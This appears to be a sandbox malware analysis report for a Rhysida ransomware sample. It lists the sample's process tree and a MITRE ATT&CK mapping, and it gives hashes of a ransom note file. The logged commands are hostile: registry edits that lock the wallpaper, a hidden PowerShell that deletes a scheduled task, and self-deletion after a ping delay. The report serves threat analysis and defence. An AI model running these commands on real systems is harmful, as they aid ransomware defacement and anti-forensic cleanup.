                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1836
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c cmd.exe /c reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      cmd.exe /c reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Sets desktop wallpaper using registry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c cmd.exe /c reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      cmd.exe /c reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c rundll32.exe user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rundll32.exe user32.dll,UpdatePerUserSystemParameters
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c cmd.exe /c start powershell.exe -WindowStyle Hidden -Command "Sleep -Milliseconds 1000; schtasks /delete /tn Rhsd /f;"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Hide Artifacts: Hidden Window
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Indicator Removal: Clear Persistence
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              cmd.exe /c start powershell.exe -WindowStyle Hidden -Command "Sleep -Milliseconds 1000; schtasks /delete /tn Rhsd /f;"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Hide Artifacts: Hidden Window
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Indicator Removal: Clear Persistence
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2688
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                powershell.exe -WindowStyle Hidden -Command "Sleep -Milliseconds 1000; schtasks /delete /tn Rhsd /f;"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\schtasks.exe" /delete /tn Rhsd /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c cmd.exe /c start ping 127.0.0.1 -n 2 > nul && del /f /q "C:\Users\Admin\AppData\Local\Temp\C:\Users\Admin\AppData\Local\Temp\2024-11-21_ddaa09b5c3bf5aa24e300c24905469f2_rhysida.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd.exe /c start ping 127.0.0.1 -n 2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1784
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ping 127.0.0.1 -n 2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:700

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1059

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PowerShell

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1059.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Windows Management Instrumentation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1047

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Power Settings

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1653

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Direct Volume Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1006

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Hide Artifacts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1564

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Hidden Window

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1564.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Indicator Removal

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1070

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Clear Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1070.009

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Clear Windows Event Logs

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1070.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          File Deletion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1070.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Credentials from Password Stores

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1555

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Credentials from Web Browsers

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1555.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Windows Credential Manager

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1555.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1552

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Credentials In Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1552.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Browser Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1217

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Remote System Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1018

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1016

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Internet Connection Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1016.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Defacement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1491

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Inhibit System Recovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          T1490

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\CriticalBreachDetected.pdf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            111KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            bae4e959e5862e891b972f2c9116701e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1403d8ed28ac069abfdfe9a2036a74d52a7c7494

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            37c8633ee17bdf7ae21a547fee680920c720e9d32d03dd6dd217805de4d487e6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            98e831104c57c70f6af75fe6179f558b3cafd201b355176e8c47abd68592725fb43f30e967e3cf93d3152e61eb77a89ba9fe5c55da205448a1930509949a3344

